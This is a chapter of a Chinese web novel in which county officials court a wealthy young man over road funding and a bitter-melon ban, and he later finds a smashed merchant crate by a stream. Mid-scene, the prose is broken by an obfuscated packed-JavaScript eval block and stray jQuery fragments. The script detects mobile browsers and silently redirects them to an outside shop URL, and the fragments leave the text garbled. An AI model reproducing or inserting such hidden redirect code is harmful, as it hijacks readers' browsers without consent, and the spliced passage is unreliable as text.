31. 货单

作品:《花魁她步步为营

    “店家何在?”


    此时,门外传来一道自带威严的声音,众人齐刷刷看去,来人一身青袍,头戴软脚幞头,面色谨慎。


    店家立马躬着身子迎上前来,双手作揖:“小人见过主薄大人。”


    “你便是云来客栈的掌柜?昨日的事……”


    “诶!是小人!”店家恭敬道,“主薄大人可否移步,关于昨日的事,小人还有两句话。”


    主簿狐疑地看了他一眼,抬起步子往一旁走了两步,店家背对着众人与主薄耳语了两句。


    只见主薄原本紧绷的面色骤然一松,随即瞪大了眼睛,像是被什么噎住了似的。


    他猛地转头看向秦钦绝,又迅速收回目光,吞了口唾沫。


    “当、当真?”


    店家连连点头,压低声音:“千真万确!今儿早恨不得把整个上林县都买了。”


    主薄的腿软了一软,扶着柜台慢慢站稳,又偷偷往秦钦绝那边瞄了一眼。


    他深吸一口气,抬手理了理衣襟,又正了正幞头,然后换上满脸笑容,大步朝秦钦绝走去。


    同时身侧的手轻轻挥了挥,门口便有个小吏跑回县衙。


    “哎呀!覃公子!久仰久仰,在下有眼不识泰山,失敬失敬!”


    秦钦绝懒懒地抬了抬眼皮:“你是上林县的主薄?”


    “诶!正是下官,县令这会儿走不开,特地命下官来好好招待覃公子。”


    “那你应该知晓我为何寻你们了?”


    “诶!知道知道!修路这件事啊我们县令是全力支持的!”主薄眼珠子一转,忽然一亮,道,“覃公子在客栈歇得可还安稳?若有招待不周之处,不如随下官去县衙?也好商议修路之事。”


    秦钦绝转头看向方黛,笑吟吟道:“自然要听我夫人的。”


    方黛轻哼一声:“那县衙里都是些大老粗的爷们儿,我才懒得去。”


    “夫人说的对!万一哪个不长眼的顶撞了我夫人怎么办?”秦钦绝义正言辞,“不去不去。”


    主簿看着二人一来一喝,眨巴眨眼,又讨好道:“夫人说得对,只是这修路也不是件小事,得征调民夫、筹措石料,还得跟沿路的商户们打个招呼。下官斗胆,想跟公子商量商量,这事该怎么个修法?”


    他说着,又往秦钦绝身边凑了凑,压低声音:“公子若想修得又快又好,下官这就去调人,三五日便能动工。只是……”


    他顿了顿,讪笑道:“只是这银子……县里的库房,实在紧得很……”


    虽然昨日店家去县里禀告的时候说明了银子由覃公子出,但这面上的功夫,总还是要做足的。


    秦钦绝睨了他一眼:“银子我来出。”


    主薄大喜过望,连连作揖:“公子大义!下官替全县的百姓谢过公子!”


    他直起身,又斟酌着开口:“那……苦瓜的事……”


    秦钦绝挑了挑眉,主薄觑着他的脸色,小心翼翼道:


    “公子吩咐这等小事,下官自然是照办的,只是这苦瓜是上林县多年来的老营生了,每年夏末,靠着买苦瓜,好些人家才能凑够过冬的嚼谷。公子您一句不许种了,下官不是不办,是怕百姓们没了进项,怨怼公子您啊……”


    秦钦绝看向他:“我不是说了补贴?”


    “是是是!”主薄连连点头,“公子说每亩补贴一两银子,下官记着呢!只是……”


    他咽了口唾沫。


    “这一两银子比买苦瓜还多些,可百姓心里没底,这补贴能补贴几年?万一公子走了,补贴没了,地里的苦瓜也没了,他们往后吃什么?”


    秦钦绝没说话。


    这时门外又进来一人,是县令到了。


    他显然是听说了消息,朝着秦钦绝深深一揖:“下官来迟,还望公子恕罪!”


    县令直起身,斟酌着开口:


    “公子,修路的事,主薄方才想必已经跟公子提了。下官在此保证,只要银子到位,下官亲自督工,保准把这路修得平平整整。”


    他顿了顿,看向秦钦绝。


    “只是苦瓜的事,下官斗胆,想跟公子求个情。”


    秦钦绝皱了皱眉:“你和主薄一样,也支持种苦瓜?”


    县令一怔,没想到二人已经聊到了这个份上,看这公子的模样,显然是不愿同意。但这作物,是全县百姓的救济粮,可对方答应出钱修路,自己也绝不能因小失大。


    他不安地讪笑两声,没说支持,也没说不支持。


    “罢了。”秦钦绝撂下茶杯,“只要你将这路修得又快又好,这苦瓜我也就不管了。”


    “只一条。”他忽然紧紧盯着县令。


    县令立马打起精神:“您说,但凡您吩咐的,上林县无所不从。”


    “往后在这上林县,这苦瓜,不准卖到我夫人面前。”


    闻言,县令悄悄看了一眼方黛,重重点头应下:“一定的一定的。”


    秦钦绝转头对方黛,柔声道:“夫人,这样可还满意?”


    方黛眼神轻扫过县令和主薄,“哼,先这样吧。”


    “还不快去办?”秦钦绝语气又恢复凌厉,“多少银子命人来知会一声就是。”


    “诶!诶!”


    县令没有作假,修路一事极快地安排了下去,命人进行堪舆、测量、计算……上林县说大不大,说小不小,修一县道路绝非一个小数目。


    当晚,县令就拿着账簿找秦钦绝过目。


    “县令大人倒是比我想象中更快。”秦钦金拉开木门让县令和主薄进房。


    四人坐在天字号房中,方黛给自己染着蔻丹,她得做实了一个啥也不会、只知道爱美的狐媚子形象。


    “覃公子的吩咐,我从不敢怠慢。”县令将账簿递过去,“上林县虽不算很大,但东南西北四条街,加上通往各乡的官道,林林总总算下来,少说也有……三四十里路。”


    他觑着秦钦绝的脸色,斟酌着继续说:


    “修路不是小事,夯土铺石,还有修排水渠……这一里路下来,少说也得二百两银子。若是山路,更贵。”


    主薄在一旁脸色有些发白。


    “公、公子。”他声音有些发抖,“三四十里路,按每里二百两算,那就是七八千两……”


    他说完,自己先倒吸一口凉气。


    县令偷偷观察着秦钦绝的表情,见他面上波澜不惊,心里越发没底。


    “公子,下官斗胆问一句……”他小心翼翼开口,“公子打算出多少?”


    秦钦绝放下茶盏,从袖中取出几张银票,搁在桌上,一共七千两。


    两人的眼睛都看直了。


    “这、这……”县令舌头都伸不利索了,“公子,这太多了。”


    “够吗?”


    县令连连点头,满脸堆笑:“够!够!太够了!公子大义,下官替全县的百姓谢过公子!”


    秦钦绝摆摆手,“修路的事,你们去办,这银钱总数,与每一笔开支,需得本本分分张贴在县里。”


    “是是是!下官亲自督办,保证每一分钱都花在刀刃上,绝不让人有机可乘、中饱私囊。”


    秦钦绝又端起茶盏,语气淡淡:


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17270823|194957||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “苦瓜的事,也一样。”


    “公子放心!”县令拍拍胸脯,“只要公子在上林县一日,就绝不让公子看见一个苦瓜,全县的苦瓜都运到外县去卖。”


    “不是我。秦钦绝皱着眉睨了二人一眼,“是我夫人。”


    “诶诶诶,绝不让夫人闻见一丝苦味。”


    秦钦绝点点头,两人千恩万谢地退了出去。


    方黛去窗边,确认二人离开走远后,关切道:“圣上给了你这么多银子?”


    “修路一事,只拨了五千两。”


    方黛挑眉:“那卫主,还是很富裕的……”


    秦钦绝好似想到什么,饶有兴趣地轻笑了一声:“呵,我现在所有的身家,都在你那里了。”


    方黛一怔,旋即想到他说的是赎金一事,加上他借的安家费用,折合现银一千五百两。


    “陈记只会越来越好,这笔银子待我从陵阳回去,想必用不了多久,便能如数归还。”


    “不急。”


    方黛低声嘟囔一句:“我看你好像挺急的。”


    秦钦绝没听清,抬眸看向她问道:“你说什么?”


    “没什么,我说该落闩歇息了。”


    “你今日……不用沐浴吗?”


    方黛看了眼门外,叹了口气道:“昨日那个借口,今日肯定不能再用了,但眼下也没有什么好办法。”


    “无碍,我去替你叫水,到时候我从窗外翻走。”


    方黛愕然:“你去哪里?”


    “我出门寻道河流净身便可。”


    方黛点点头,这天气不冷,对于他们习武之人来说,体质本就异于常人,也不会染了风寒。且他一直迁就着自己,导致外出这几日他还没时间沐浴。


    “好。”


    秦钦绝下楼喊了水,小厮将热水一桶桶抬上来关了门后,他才从窗户翻身而出。


    沿着夜路,他矫捷的身影穿梭在林立两侧的建筑上。


    一路到了溪边后,这才宽衣解带,整个身子浸入冰冷的溪水中。


    片刻后,他本欲起身回客栈,余光却瞥见蒿丛中有什么东西,他拨开芦苇,低头一看。


    是一块破碎的木板,木板边缘还钉着铁皮,像是从箱子上脱落下来的。


    他从袖中掏出火折子,吹燃贴近一看,才发现有几块碎木板、一团麻绳、还有一只半开的木箱。


    木箱的样式很普通,但角落却清楚地印着一个“楚”字。


    秦钦绝蹲下身来,把那只木箱翻过来,箱底的烙记更清晰:楚记、陵阳。


    他打开箱盖,里面的货物已经荡然无存了,但还有几张碎纸,看样子是货单的一部分。


    他把碎纸小心收好,又在周围翻找,眉头微微皱起,心头疑问萦绕。


    楚家的货,为什么会在上林县境内出事?运的是什么?为什么会运向陵阳?


    最关键的是,如今楚信深离世,就是在陵阳出的事,楚家人还能分出心思往陵阳运货?


    他沿着溪流上游去查探,却什么线索和踪迹都没有了。


    月光下,河水静静流淌,通往看不见的远方。


    他收回目光,转身往客栈走去。


    夜幕笼罩着整个上林县,四处静悄悄、黑漆漆的,只有打更人的梆子声远远传来。


    他推开门,上楼。


    走到天字号房门口时,脚步顿了顿。屋里没有点灯,但他能感觉到,黑夜里,有一道呼吸声正端坐着。


    他的手已按上腰间,下一瞬,门被推开,他欺身而入,一手钳住那人的手腕,另一手扼向咽喉。